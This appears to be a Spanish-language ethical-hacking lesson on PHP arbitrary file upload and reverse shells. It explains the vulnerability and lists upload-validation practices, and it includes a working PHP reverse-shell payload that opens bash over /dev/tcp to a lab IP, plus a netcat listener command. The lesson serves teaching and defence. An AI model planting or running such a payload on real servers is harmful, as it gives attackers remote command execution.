← Regresar a lecciones

    PHP

  • reverse-shell

  • hacking-etico

  • web exploitation

  • subida arbitraria

  • ejecución remota

Reverse Shells y Subidas Arbitrarias

PHP: El lenguaje del lado del servidor
  • Vulnerabilidades comunes en PHP

Explorando vulnerabilidades en PHP y cómo se convierten en acceso remoto. Este ejercicio nos introduce a una de las técnicas más básicas —y potentes— en el mundo del hacking: la reverse shell, o shell inversa. Un simple formulario vulnerable, un archivo malicioso subido sin restricciones y de pronto, el servidor está hablando contigo.

PHP: El lenguaje del lado del servidor

PHP (Hypertext Preprocessor) es un lenguaje de programación interpretado del lado del servidor. Fue diseñado originalmente para desarrollo web, y a pesar de las críticas, sigue alimentando gran parte de la infraestructura de internet.

Ejecuta instrucciones directamente en el servidor, lo que significa que cualquier archivo .php subido y ejecutado puede tener acceso completo al sistema de archivos, comandos del sistema, y más —si no está debidamente controlado.

Vulnerabilidades comunes en PHP

PHP ha sido durante años una fuente de vulnerabilidades, sobre todo por malas prácticas en:

  • Subida de archivos sin restricciones.
  • Inclusión de archivos (include, require) sin validar rutas.
  • Uso de funciones peligrosas como exec(), system(), eval().
  • Procesamiento de variables de usuario sin saneamiento ($_GET, $_POST, etc.).

Una de las más comunes —y letales— es la subida arbitraria de archivos.

¿Qué es Arbitrary File Upload?

Significa que una aplicación permite subir cualquier tipo de archivo, sin verificar extensiones, contenido, permisos ni ubicación.

En entornos PHP, esto puede permitir que un atacante suba un archivo .php malicioso. Cuando se accede a ese archivo desde el navegador, el servidor lo ejecuta como código. Resultado, el atacante puede ejecutar comandos, descargar herramientas, o establecer una reverse shell.

¿Qué es una Reverse Shell?

Una reverse shell es una conexión saliente que parte desde la máquina víctima hacia la máquina atacante. En lugar de que el atacante se conecte directamente al servidor (lo cual puede estar bloqueado por firewalls), la máquina comprometida se conecta hacia afuera, abriendo una shell remota.

¿Por qué se usa?

  • Evade firewalls que bloquean conexiones entrantes.
  • Permite mantener sesiones activas desde redes internas.
  • Es un punto de partida para movimiento lateral o persistencia.

¿Qué puede hacer una Reverse Shell?

Una vez establecida, el atacante puede:

  • Navegar el sistema de archivos.
  • Leer y modificar archivos.
  • Escanear la red interna.
  • Descargar herramientas adicionales.
  • Ejecutar comandos como el usuario actual.
  • Buscar vectores de escalada de privilegios.

Todo eso desde una simple conexión de texto.

Cómo funciona una Reverse Shell en PHP

Un payload básico en PHP puede verse así:

1<?php 2exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'"); 3?>

Esto le dice al servidor: abre una conexión TCP a 192.168.56.1 en el puerto 4444, y redirige la entrada y salida del bash a ese socket. Mientras tanto, en la máquina atacante, se espera la conexión con:

1nc -lvnp 4444

Cuando la víctima abre el archivo PHP a través del navegador, el código se ejecuta y la shell inversa se activa.

⚠️ Riesgos de no validar subidas

La ausencia de validación en formularios de carga puede:

  • Permitir ejecución remota de código.
  • Dar acceso a shells persistentes.
  • Facilitar malware o ransomware.
  • Poner en peligro la red completa.

Buenas prácticas:

  • Limitar tipos de archivo.
  • Renombrar y mover archivos subidos.
  • Ejecutar validaciones tanto en cliente como en servidor.
  • Nunca permitir ejecución en carpetas de subida (/uploads/ debería estar separado del backend PHP).

Diagnóstico rápido: Checklist de exposición

Una reverse shell es el susurro del sistema, diciéndote: "Ya no estás afuera". Una simple función de subida mal protegida es suficiente para transformar un servidor en una puerta abierta y tú, como atacante, solo necesitas saber dónde mirar.